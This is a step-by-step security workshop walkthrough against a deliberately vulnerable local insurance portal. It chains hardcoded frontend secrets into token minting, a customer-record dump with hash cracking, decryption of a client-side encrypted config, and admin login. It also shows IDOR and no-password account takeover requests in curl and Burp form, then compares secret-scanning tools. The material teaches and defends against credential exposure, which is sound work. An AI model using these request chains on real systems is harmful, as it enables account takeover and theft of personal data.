A hands-on, step-by-step walkthrough of two production-grade credential exposure chains — from a JavaScript file to full account takeover. Everything runs locally against localhost:3000, no external connectivity required.
localhost:3000 with zero external dependencies. Treat it like a CTF target on a private network. Do not deploy it to a public host.
main.js → 4,999 customer records → hash-crack → log in as the customer (15 min) ·
③ Chain 2 — encrypted blob decrypted with decrypt.py → superadmin token → DB connection string (10 min) ·
④ Extra credit — IDOR, no-password account takeover, and a key leaked in the WebSocket handshake
node -v; install from nodejs.org.curl command below — a terminal is all you need.crack.py / decrypt.py (ships on macOS/Linux; on Windows use python.org or WSL). No pip install needed.tools/secretsifter-store-1.2.42.jar; load it in Burp, no build required.Do the git clone + npm install + Burp install on hotel/home wifi before arriving. The con network is hostile.
With the prerequisites above installed, clone and start the lab:
git clone https://github.com/secretsifter/insecureshield-demo.git cd insecureshield-demo npm install npm start
The app listens on http://localhost:3000. Open the URL — you should see the "InsecureShield Client Portal" login page.
The demo ships with three small helper scripts at the project root — you'll use them in Chain 1 (hash crack) and Chain 2 (blob decrypt):
decrypt.py — reverses the CryptoJS-encrypted blob in main.js. Wraps the system openssl binary, zero pip dependencies.crack.py — reverses a captured SHA-256(password+salt) hash. Reads HASH:SALT on stdin, tries every entry in wordlist.txt.wordlist.txt — ~5,000 entries: real-world common passwords plus generated patterns. Append your own line-by-line.All three live at the root of the cloned repo (next to server.js) — that's where the relative-path reads expect to find each other. Run them from the project directory: cd insecureshield-demo && python3 decrypt.py.
No pip install required for either script — both run on stock Python 3.
The prebuilt extension JAR ships in the same clone at tools/secretsifter-store-1.2.42.jar. In Burp: Extensions → Installed → Add → Extension type Java → select that JAR. Proxy InsecureShield through Burp and every request/response below is scanned live — the "SecretSifter catches" callouts throughout this guide tell you what to expect on each step.
/js/app.js
Before you send a single request, open http://localhost:3000/js/app.js in your browser. Nothing in this guide is a value you couldn't find here yourself — a single-page app ships its whole API client to the browser, so the endpoints, methods, and request bodies are all in the JavaScript you already downloaded. Three things to notice:
POST /api/login {email,password}, PUT /api/profile/password {id?,currentPassword?,newPassword}, the two /api/admin/* routes, and more).fetch() calls show the two headers every data API requires: Authorization: Bearer <token> and Ocp-Apim-Subscription-Key.The token endpoint is self-documenting too: POST /api/auth/generate-token with an empty body returns {"error":"appId, appKey and resourceKey are required …"}, naming the exact parameters it wants.
This is the chain that started the talk. Two bug-bounty reports flagged "hardcoded credentials" and stopped there. The question that wouldn't go away: what do they actually unlock?
Action: right-click anywhere on the login page → View Page Source. Or open view-source:http://localhost:3000/.
Scroll to the top of the HTML. You'll see comments that look like a TODO note from a developer:
<!-- Internal API config — TODO: move to vault before prod release
api_gateway_url: https://acme-portal-api.azure-api.net/v2
apim-subscription-key: a1b2c3d4e5f6789012345678901234ab
dev_admin: admin@acme-portal.com / (password rotated to Key Vault)
db_conn: Server=prod-db.acme-portal.internal;Database=AcmePortalDB;User Id=sa;Pas...
-->
Action: open http://localhost:3000/js/main.js directly in your browser. Search for AZURE_AD_CONFIG.
var AZURE_AD_CONFIG = {
tenantId: "1a2b3c4d-5e6f-7890-abcd-ef1234567890",
appId: "8f4e2d1c-9b3a-4f6e-8a7d-2c1b9e5f4a3d",
appKey: "Ins~K3y.qX7vN9bM4dZ8mP2hT5wL1eC6rJ0aFgYi==",
resourceId: "https://acme-portal-api.azure-api.net",
resourceKey: "R7vN3kQ9pX5tL2cD8fG6hJ1mB4sY0aW7eK3rT9zU1nM5oI8jH2vC6bF4yE7wQ0pA==",
authority: "https://login.microsoftonline.com/1a2b3c4d-..."
};
var APIM_CONFIG = {
subscriptionKey: "a1b2c3d4e5f6789012345678901234ab",
...
};
client_credentials set: appId (client ID), appKey (client secret), resourceKey (target API access key), and the APIM subscriptionKey in the next config block.main.js can mint a Bearer token and call every API the application is permitted to call.main.js in DevTools (Cmd+F) for "AZURE", "appKey", or "subscription". The file header reads "Generated by build pipeline" — confirming it wasn't committed to source.appKey, resourceKey, subscriptionKey. Plus tenantId and appId at INFO severity.Burp Repeater (the raw request shown in each step) or curl (a copy-paste block right under it — no Burp needed). The curl track uses two shell variables: this first step sets $TOKEN (your access token) and $SUB (the subscription key); later steps reuse them. Paste the commands into one terminal, in order, and the variables carry through.
Content-Type: application/json on every request that has a body. The server only parses JSON bodies. When you type a body into Repeater, Burp often auto-adds Content-Type: application/x-www-form-urlencoded instead — the server then ignores your body and you get a confusing 400 (e.g. "New password must be at least 6 characters" even when it's 10). Fix the header to application/json and resend. This applies to steps 2.3, 2.8, 3.3, and 4.3. (curl users: the curl blocks already set this header correctly.)The portal's local backend mimics the Azure APIM token-exchange flow. POST the three Azure AD values as headers, the server returns a real Bearer token plus an echoed resource_key.
POST /api/auth/generate-token HTTP/1.1
Host: localhost:3000
Content-Type: application/json
appId: 8f4e2d1c-9b3a-4f6e-8a7d-2c1b9e5f4a3d
appKey: Ins~K3y.qX7vN9bM4dZ8mP2hT5wL1eC6rJ0aFgYi==
resourceKey: R7vN3kQ9pX5tL2cD8fG6hJ1mB4sY0aW7eK3rT9zU1nM5oI8jH2vC6bF4yE7wQ0pA==
{}
SUB=a1b2c3d4e5f6789012345678901234ab
TOKEN=$(curl -s -X POST http://localhost:3000/api/auth/generate-token \
-H 'Content-Type: application/json' \
-H 'appId: 8f4e2d1c-9b3a-4f6e-8a7d-2c1b9e5f4a3d' \
-H 'appKey: Ins~K3y.qX7vN9bM4dZ8mP2hT5wL1eC6rJ0aFgYi==' \
-H 'resourceKey: R7vN3kQ9pX5tL2cD8fG6hJ1mB4sY0aW7eK3rT9zU1nM5oI8jH2vC6bF4yE7wQ0pA==' \
-d '{}' | python3 -c "import sys,json;print(json.load(sys.stdin)['access_token'])")
echo "$TOKEN" # your admin Bearer token, reused by every step below
Expected response (200 OK):
{
"access_token": "eyJhbGciOiJIUzI1NiIsInR5cCI6IkpXVCJ9....",
"resource_key": "R7vN3kQ9pX5tL2cD8fG6hJ1mB4sY0aW7eK3rT9zU1nM5oI8jH2vC6bF4yE7wQ0pA==",
"token_type": "Bearer",
"expires_in": 14400,
"scope": "policies.read claims.read users.read"
}
Notice the resource_key echo — a second copy of a secret crosses the wire in the response body. Burp's SecretSifter response scanner picks that up as a separate finding.
The data APIs require both the Bearer token (issued in 2.3) AND the APIM Ocp-Apim-Subscription-Key header — same as a real Azure APIM gateway. Stage a second Repeater tab:
GET /api/users HTTP/1.1 Host: localhost:3000 Authorization: Bearer eyJhbGciOiJIUzI1NiIsInR5cCI6IkpXVCJ9.... Ocp-Apim-Subscription-Key: a1b2c3d4e5f6789012345678901234ab
curl -s http://localhost:3000/api/users \
-H "Authorization: Bearer $TOKEN" \
-H "Ocp-Apim-Subscription-Key: $SUB" \
| python3 -c "import sys,json;d=json.load(sys.stdin);print(len(d['users']),'records; first record:',d['users'][0])"
# negative check — drop the sub-key, get 401:
curl -s -o /dev/null -w "%{http_code}\n" http://localhost:3000/api/users -H "Authorization: Bearer $TOKEN"
Expected response: 4,999 customer records. For each customer: id, name, email, dob, phone, ssn, address, plus a passwordHash and salt (steps 2.6 – 2.8 use these).
Quick negative check. Drop either header and resend — the server returns 401 in both cases. That's the gateway requiring both credentials to be valid.
/api/statsGET /api/stats HTTP/1.1 Host: localhost:3000 Authorization: Bearer eyJhbGc... Ocp-Apim-Subscription-Key: a1b2c3d4e5f6789012345678901234ab
curl -s http://localhost:3000/api/stats \ -H "Authorization: Bearer $TOKEN" -H "Ocp-Apim-Subscription-Key: $SUB"
Expected response:
{
"totalCustomers": 4999,
"totalPolicies": 26,
"totalClaims": 15,
"openClaims": 3,
"totalExposure": 417350
}
The /api/users response from step 2.4 didn't just leak names and emails. Every record carried a passwordHash and a salt. That makes the response a credential dump — and credential dumps fuel account takeover. The hashing scheme is visible in data/db.js:
const salt = crypto.createHash('md5').update(c.id + ':salt').digest('hex').slice(0, 16);
const hash = crypto.createHash('sha256').update(c.password + salt).digest('hex').toUpperCase();
Format: SHA-256(password + salt), uppercase hex. A pentester would identify this from the hash shape alone (64 hex chars = 256 bits = SHA-256). Hashcat mode 1410 fits exactly.
crack.pyThe companion crack.py reads HASH:SALT on stdin and tries every entry in wordlist.txt (~5,000 patterns — password, Pass@1234, P@ssw0rd, Welcome2024, …):
echo 'C123F6BF928BA0182E22850B0D3A56731620D94E493D1741F50BC66C0EFC0A91:cb590adac3c2f4af' \ | python3 crack.py
Expected output (instant — under 100ms on any laptop):
C123F6BF928BA018… → Pass@1234
CUST-001) cracks to Pass@1234. Mass crack: pipe all 4,999 HASH:SALT pairs from the response through crack.py and watch every weak password fall.crack.py with three lines of Python plus a wordlist, or use hashcat -m 1410 with rockyou.txt — same flow, different tooling.jq:curl … /api/users | jq -r '.users[] | "\(.passwordHash):\(.salt)"' | python3 crack.pyCracking a hash is theoretical until you use the password. Stage one more Repeater request:
POST /api/login HTTP/1.1
Host: localhost:3000
Content-Type: application/json
{"email":"james.mitchell@gmail.com","password":"Pass@1234"}
curl -s -X POST http://localhost:3000/api/login \
-H 'Content-Type: application/json' \
-d '{"email":"james.mitchell@gmail.com","password":"Pass@1234"}'
Expected response:
{
"IsSuccess": true,
"token": "eyJhbGc...",
"role": "customer",
"name": "James Mitchell",
"customerId":"CUST-001"
}
The portal just authenticated you as James Mitchell. With that customer JWT (+ the APIM subscription key) you can read his profile, his policies, his claims — anything the portal exposes for the account.
A developer "knows credentials in JavaScript are bad" and encrypts the config blob. The question: where does the decryption key live? Spoiler — three lines below the ciphertext.
Action: still in main.js, search for ENCRYPTED_SP_CONFIG.
// line 40
var ENCRYPTED_SP_CONFIG = "U2FsdGVkX1+SjyqRr+Wa5TUxIW5JIYPKVVHbdmtqoBoWKiMa4QMcf6rXQ/YFFKJfp...";
// line 43
var SP_CONFIG_KEY = "InsecureShield-Config-Key-2024Q4";
// line 46-48 — decryption runs in the browser at page load
var SECURE_SP = JSON.parse(
CryptoJS.AES.decrypt(ENCRYPTED_SP_CONFIG, SP_CONFIG_KEY).toString(CryptoJS.enc.Utf8)
);
The prefix U2FsdGVkX1+ is base64 of Salted__ — the signature of a CryptoJS / OpenSSL "passphrase mode" blob. Recognizing that prefix on sight is a useful pentester skill.
window.APP_CONFIG.secureSp. The page already decrypted it on load — you're just reading the result.ENCRYPTED_SP_CONFIG as a HIGH/FIRM finding — the encrypted blob itself is the evidence. No other tool in the comparison flags this pattern.decrypt.py — one lineThe demo ships a tiny Python helper at the project root. It wraps the system openssl binary (zero pip-install dependencies). Pipe the blob in on stdin — the complete value is below, copy the whole thing:
echo 'U2FsdGVkX1+SjyqRr+Wa5TUxIW5JIYPKVVHbdmtqoBoWKiMa4QMcf6rXQ/YFFKJfpDIdURMxdgOAjZ5SeLCXxUsXDqskoIvkU6YGSL19UAn1S21Sz0zeYDib7X+1+xEIXRIYIeqvP+o8Ux1u+FGIFGUltONuWRh0oPy7XAjn7nuN7ZapZuPp9JeBjWQdgmXDrLP6lQNMRpI28gBkEZGuozLKSn4ZKVO90aV5oG8vBAA+DbiG3W7CJfFe55606IbA9s8elDiMpUfnMCaNZfepEGITt7XAxqJoGORhfPE9un/thxO8YakbQdqqOdP/bTvAWcESk+hbfVbLWj3jMnpo97NK0gq6RCovWHMfesCQ1H5WVzNTjSKcI1EcgOcsz3sTvtUkMYaZO7A6gx0ng1lHgaYRSn8hXpDi5kxklx50TzstS7Y3lVMB/pBUBmhCqUkJE3eclAPnT+yEOAdq8xKtAZa9Or3aulZ1bi0dc5pEYn9cOCHd/KLZbXLlFCl/gxj31IerT30V19/iqOq8bNrDcKObj1e2VCqq8wtAR4nM0NrCa1TTl3SKCg/p3FUOkOfGIqFuSYknARqJGLaTunib62bFqtFyRL7CVqMy5q+Ao3a2x5xqnBWcz1zJecsJMBL/' \ | python3 decrypt.py
Prefer not to copy 640 characters? Read it out of the file instead: grep -oE 'ENCRYPTED_SP_CONFIG *= *"[^"]+"' public/js/main.js and paste what's between the quotes. Or in DevTools, just type ENCRYPTED_SP_CONFIG in the console.
Expected output:
{
"tenantId": "7c1064ea-b8c7-402f-bb82-76aaccc91dc4",
"appId": "9a8b7c6d-5e4f-3a2b-1c0d-ef9876543210",
"appKey": "AdmIn~App.Q4-2024.7vR3xW5tY1uO4sD6jF~AcmePortal",
"resourceId": "https://acme-portal-api.azure-api.net/admin",
"resourceKey": "AdminRes.K3y.aB2cD3fG4hJ5kL6mN7oP8qR9sT0u1vW==",
"authority": "https://login.microsoftonline.com/7c1064ea-...",
"scope": "admin.config.read admin.diagnostics admin.dbconn",
"rotated_at": "2024-10-15T00:00:00Z"
}
appId, different appKey, different resourceKey from the public values in step 2.2. The "encryption" layer didn't protect a database connection string. It protected a more-privileged Azure app.The portal's /api/auth/generate-token endpoint accepts both credential sets. The public Azure AD creds (step 2.3) return a regular admin token. The decrypted admin Azure AD creds return a superadmin token with a different scope. Same endpoint, different role.
POST /api/auth/generate-token HTTP/1.1
Host: localhost:3000
Content-Type: application/json
appId: 9a8b7c6d-5e4f-3a2b-1c0d-ef9876543210
appKey: AdmIn~App.Q4-2024.7vR3xW5tY1uO4sD6jF~AcmePortal
resourceKey: AdminRes.K3y.aB2cD3fG4hJ5kL6mN7oP8qR9sT0u1vW==
{}
$STOK, the superadmin token):STOK=$(curl -s -X POST http://localhost:3000/api/auth/generate-token \
-H 'Content-Type: application/json' \
-H 'appId: 9a8b7c6d-5e4f-3a2b-1c0d-ef9876543210' \
-H 'appKey: AdmIn~App.Q4-2024.7vR3xW5tY1uO4sD6jF~AcmePortal' \
-H 'resourceKey: AdminRes.K3y.aB2cD3fG4hJ5kL6mN7oP8qR9sT0u1vW==' \
-d '{}' | python3 -c "import sys,json;print(json.load(sys.stdin)['access_token'])")
echo "$STOK"
Expected response:
{
"access_token": "eyJhbGc....", // role:superadmin, source:sp
"resource_key": "AdminRes.K3y.aB2cD3fG4hJ5kL6mN7oP8qR9sT0u1vW==",
"token_type": "Bearer",
"expires_in": 14400,
"scope": "admin.config.read admin.diagnostics admin.dbconn"
}
First, prove the boundary. Take the public admin token from step 2.3 (role admin, source apim) and aim it at the admin endpoint. The gateway rejects it — the token is valid, but its role isn't privileged enough:
GET /api/admin/internal-config HTTP/1.1 Host: localhost:3000 Authorization: Bearer <public token from step 2.3> Ocp-Apim-Subscription-Key: a1b2c3d4e5f6789012345678901234ab
HTTP/1.1 403 Forbidden
{"error":"SP-sourced token required"}
Now swap in the superadmin token from step 3.3. Same URL, same subscription key — only the token changed:
GET /api/admin/internal-config HTTP/1.1 Host: localhost:3000 Authorization: Bearer <superadmin token from step 3.3> Ocp-Apim-Subscription-Key: a1b2c3d4e5f6789012345678901234ab
# public token from step 2.3 is rejected:
curl -s -o /dev/null -w "public token -> %{http_code}\n" http://localhost:3000/api/admin/internal-config \
-H "Authorization: Bearer $TOKEN" -H "Ocp-Apim-Subscription-Key: $SUB"
# superadmin token from step 3.3 gets the prod config:
curl -s http://localhost:3000/api/admin/internal-config \
-H "Authorization: Bearer $STOK" -H "Ocp-Apim-Subscription-Key: $SUB"
Expected response (200 OK):
{
"IsSuccess": true,
"config": {
"jwt_secret_fingerprint": "SHA256:84396fae75145477",
"db_conn_string": "Server=prod-db.acme-portal.internal;Database=AcmePortalDB;User Id=sa;Password=X7!kP#9mQvLr3$nBs;",
"apim_subscription_key": "a1b2c3d4e5f6789012345678901234ab",
"admin_email": "admin@acme-portal.com",
"admin_password": "InsecureShield@2024",
"internal_services": [
"https://claims-svc.acme-portal.internal/api/v1",
"https://policy-svc.acme-portal.internal/api/v1",
"https://reporting.acme-portal.internal/api"
]
}
}
The config leaks the prod DB connection string and the admin portal password — the same admin whose email you spotted in the view-source comment back in step 2.1. The password that was "rotated to Key Vault" is sitting right here in plaintext.
The superadmin token was an API credential. Now use the recovered pair to log in to the actual portal UI, the way a real admin does. In the browser, open http://localhost:3000 and sign in — or prove it in Repeater:
POST /api/login HTTP/1.1
Host: localhost:3000
Content-Type: application/json
{"email":"admin@acme-portal.com","password":"InsecureShield@2024"}
curl -s -X POST http://localhost:3000/api/login \
-H 'Content-Type: application/json' \
-d '{"email":"admin@acme-portal.com","password":"InsecureShield@2024"}'
Expected response:
{"IsSuccess":true,"token":"eyJhbGc...","role":"admin","name":"Admin User"}
The two chains are the headline. But once you hold a valid Bearer token and the APIM subscription key, the same portal hands you four more textbook flaws. These are the workshop "fast finisher" tasks — each is a single Repeater request (or curl one-liner). Every request below needs both the Authorization: Bearer header ($TOKEN from step 2.3) and the Ocp-Apim-Subscription-Key ($SUB), exactly like the data APIs.
The ?id= query params and the JSON body fields (id, newPassword, userProfileID) below are all disclosed by the client. The endpoint-catalog comment near the top of /js/app.js lists each route with its body schema, and the app's own code constructs these exact bodies. The change-password handler, for example, reads:
const body = targetId ? { id: parseInt(targetId, 10), newPassword: newPwd }
: { currentPassword: currentPwd, newPassword: newPwd };
So the field names aren't a secret — the exploit is that a legitimate, documented request shape has no authorization check behind it. Recon step: read app.js, or trigger the feature once in the UI and read the request in Burp's HTTP history.
Chain 1 dumped every hash from /api/users. There's a quieter path: a legacy password-reset lookup that returns one user's credential material by id, with no ownership check.
GET /api/profile/password?id=1 HTTP/1.1 Host: localhost:3000 Authorization: Bearer eyJhbGc... Ocp-Apim-Subscription-Key: a1b2c3d4e5f6789012345678901234ab
curl -s "http://localhost:3000/api/profile/password?id=1" \ -H "Authorization: Bearer $TOKEN" -H "Ocp-Apim-Subscription-Key: $SUB"
Expected response:
{
"IsSuccess": true,
"userProfileID": 1,
"userName": "James Mitchell",
"email": "james.mitchell@gmail.com",
"role": "customer",
"passwordHash": "C123F6BF928BA0182E22850B0D3A56731620D94E493D1741F50BC66C0EFC0A91",
"salt": "cb590adac3c2f4af"
}
Increment id to walk the whole customer base one record at a time. Feed the passwordHash:salt straight into crack.py from step 2.7. Same hash for James Mitchell you cracked before — this endpoint just hands it over without the 4,999-record dump.
The profile endpoint honours an ?id= query parameter and never checks that the id belongs to you.
GET /api/profile?id=2 HTTP/1.1 Host: localhost:3000 Authorization: Bearer eyJhbGc... Ocp-Apim-Subscription-Key: a1b2c3d4e5f6789012345678901234ab
curl -s "http://localhost:3000/api/profile?id=2" \ -H "Authorization: Bearer $TOKEN" -H "Ocp-Apim-Subscription-Key: $SUB"
Expected response:
{
"id": "CUST-002",
"name": "Sarah Thompson",
"email": "sarah.thompson@outlook.com",
"dob": "1985-07-22",
"phone": "415-555-0202",
"ssn": "XXX-XX-8832",
"address": "78 Maple Ave, San Francisco, CA 94103",
"salt": "4329e437404ef2f8",
"passwordHash":"A917B980DA07B1051F071DCBD0CDA0BAED53567AEEE5E92B2E4765631ED4FEEF",
"numericId": 2
}
The reset endpoint accepts two body shapes — both are spelled out in app.js (the targetId branch shown in the callout above). Send { currentPassword, newPassword } and it verifies the current password for your account. Send { id, newPassword } and it changes anyone's password — no current password, no ownership check. That second shape is the app's own admin-reset path; the bug is that the server never confirms you're an admin.
PUT /api/profile/password HTTP/1.1
Host: localhost:3000
Authorization: Bearer eyJhbGc...
Ocp-Apim-Subscription-Key: a1b2c3d4e5f6789012345678901234ab
Content-Type: application/json
{"id":4,"newPassword":"Owned#2026"}
curl -s -X PUT http://localhost:3000/api/profile/password \
-H "Authorization: Bearer $TOKEN" -H "Ocp-Apim-Subscription-Key: $SUB" \
-H 'Content-Type: application/json' \
-d '{"id":4,"newPassword":"Owned#2026"}'
Expected response:
{"message":"Password updated","userId":"CUST-004"}
Getting {"error":"New password must be at least 6 characters"} even though yours is longer? That's the Content-Type gotcha from step 2.3 — the header is x-www-form-urlencoded, so the server never read the body. Set it to application/json and resend.
Now log in as that user with the password you just set — no cracking required (id 4 is Emily Davis, emily.davis@gmail.com):
POST /api/login HTTP/1.1
Host: localhost:3000
Content-Type: application/json
{"email":"emily.davis@gmail.com","password":"Owned#2026"}
curl -s -X POST http://localhost:3000/api/login \
-H 'Content-Type: application/json' \
-d '{"email":"emily.davis@gmail.com","password":"Owned#2026"}'
{
"IsSuccess": true,
"token": "eyJhbGc...",
"role": "customer",
"name": "Emily Davis",
"customerId":"CUST-004"
}
This step writes to the in-memory dataset — it changes id 4's password for the life of the running server. A restart (npm start) resets every account, so you can re-run the workshop from a clean state. Id 4 is used here so it doesn't disturb the CUST-001 hash-crack demo in Chain 1.
/api/account/infoA lookup-by-id primitive that maps an integer to a name, email, and policy number. Loop it to build a target list before the attacks above.
POST /api/account/info HTTP/1.1
Host: localhost:3000
Authorization: Bearer eyJhbGc...
Ocp-Apim-Subscription-Key: a1b2c3d4e5f6789012345678901234ab
Content-Type: application/json
{"userProfileID":3}
curl -s -X POST http://localhost:3000/api/account/info \
-H "Authorization: Bearer $TOKEN" -H "Ocp-Apim-Subscription-Key: $SUB" \
-H 'Content-Type: application/json' \
-d '{"userProfileID":3}'
{
"IsSuccess": true,
"userProfileID": 3,
"userName": "Robert Chen",
"email": "robert.chen@yahoo.com",
"policyNumber": "POL-10004"
}
Secrets don't only live in HTTP responses. The portal opens a live-notifications socket, and its very first frame — the welcome message — carries an internal API key. Point Burp's WebSocket history (or a one-line Node client) at it:
GET /ws/notifications?token=eyJhbGc... HTTP/1.1 Host: localhost:3000 Upgrade: websocket Connection: Upgrade
# Node one-liner — run from the cloned repo dir (the ws module ships in node_modules):
node -e "const W=require('ws');const w=new W('ws://localhost:3000/ws/notifications?token=demo');w.on('message',m=>{console.log(m.toString());process.exit(0)})"
# or with websocat (brew install websocat):
echo | websocat "ws://localhost:3000/ws/notifications?token=demo"
First frame the server sends (unprompted):
{
"type": "welcome",
"message": "Connected to InsecureShield live notifications",
"server": "prod-ws.acme-portal.internal",
"apiKey": "ws-internal-key-7f3a9b2c1d4e5f6a"
}
prod-ws.acme-portal.internal) and an API key pushed to the client the instant the socket opens — before any authentication challenge on the socket itself.?token=), so it lands in proxy logs and browser history too.apiKey in the WebSocket message body — SecretSifter scans WS frames, not just HTTP responses.The three chains aren't the only credentials in the bundle. InsecureShield scatters secrets across several files — each representing a different real-world delivery pattern. Walk these to build the muscle memory for production audits.
Pattern: Webpack DefinePlugin or NEXT_PUBLIC_* inlining. The developer wrote process.env.STRIPE_SECRET_KEY; the build replaced it with the literal string.
What you'll find: Stripe live key, SendGrid key, AWS access key + secret, Stripe webhook secret, Twilio auth token + account SID, INTERNAL_API_KEY, S3 bucket name. Every one of these visible in Burp's response pane on every page load.
Pattern: Static config import. The developer literally pasted the Firebase service-account JSON into the client bundle.
What you'll find: Google API key, PEM RSA private key, private_key_id, Firebase database URL, service account email, Firebase client_id.
Pattern: The build pipeline emits a manifest of asset paths and config. Often overlooked by scanners that focus on .js files.
What you'll find: AWS region, S3 bucket name, redundant AWS access key + secret, additional API keys with custom prefixes. The manifest is served with a non-JS content type — many scanners skip it.
This is the segment that closes the talk. Same target. Same Burp proxy. Default rules each tool. Compare what each one finds.
brew install trufflehogFor each Burp extension: proxy InsecureShield through Burp, browse the login + dashboard pages, let the passive scanners run. For TruffleHog CLI: run trufflehog filesystem ./dist against the built artifact.
| Tool | Unique creds | Notable wins | Notable misses |
|---|---|---|---|
| SecretSifter | 23 | Encrypted CryptoJS blob · DB password in HTML comment · custom-labeled keys | AWS ARN (treated as identifier) |
| Sensitive Discoverer | 12 + 4 emails | AWS ARN · Firebase DB URL · PEM marker | Encrypted blob · DB password · APIM key · Twilio |
| Titus | 9 | Azure APIM key · PEM key · AWS ARN · Mailgun | Encrypted blob · Stripe live · Twilio · custom labels |
| TruffleHog (Burp) | 8 | APIM · Mailgun · Stripe · SendGrid · vendor patterns | Encrypted blob · PEM key · 4 mislabeled APIM matches |
The exact numbers may shift as tools update their detector rules. What stays consistent: no single tool catches everything, and the encrypted blob + the in-HTML DB credential are the two findings that distinguish runtime-aware detection from pattern-matching alone.
If you find a credential category that SecretSifter doesn't catch, the patterns are in Patterns.java in the burp-secret-scanner repo. Each pattern is a regex plus a severity, confidence, and label.
// Example pattern entry
new Pattern(
"stripe_secret_key", // label (shown to the user)
Pattern.compile("sk_live_[a-zA-Z0-9]{24,}"),
Severity.HIGH,
Confidence.CERTAIN,
"Stripe live secret key"
);
Add a new pattern, run the test suite (./gradlew test), and submit a pull request. Patterns are reviewed against InsecureShield to confirm they don't introduce false positives. Detectors that catch real-world patterns the community hasn't formalized yet are the most welcome contributions.
If you're a pentester or bug-bounty hunter: don't stop at "credential exists." Walk the chain. Call the token endpoint. Enumerate what the service principal is permitted to do. The frontend code often documents the backend endpoints you can then call.
If you're a developer: an environment variable in GitHub Secrets is protected; the same value, inlined into main.bundle.js by webpack, is on every device that loaded your site. The variable name didn't change. The trust model did. Use a secrets manager (Azure Key Vault, AWS Secrets Manager) for anything sensitive, and prefer the Backend-for-Frontend pattern so credentials never leave the server.
If you're security leadership: add an artifact-scan stage to the pipeline. After the build produces the bundle, before deployment, scan the actual files the visitor will download. This is the closest thing to "shift-left for the runtime layer." Combine with runtime detection (browser extension, Burp extension, or proxy-based scanner) for the layer artifact scans don't reach (SSR state, runtime-fetched config, lazy chunks).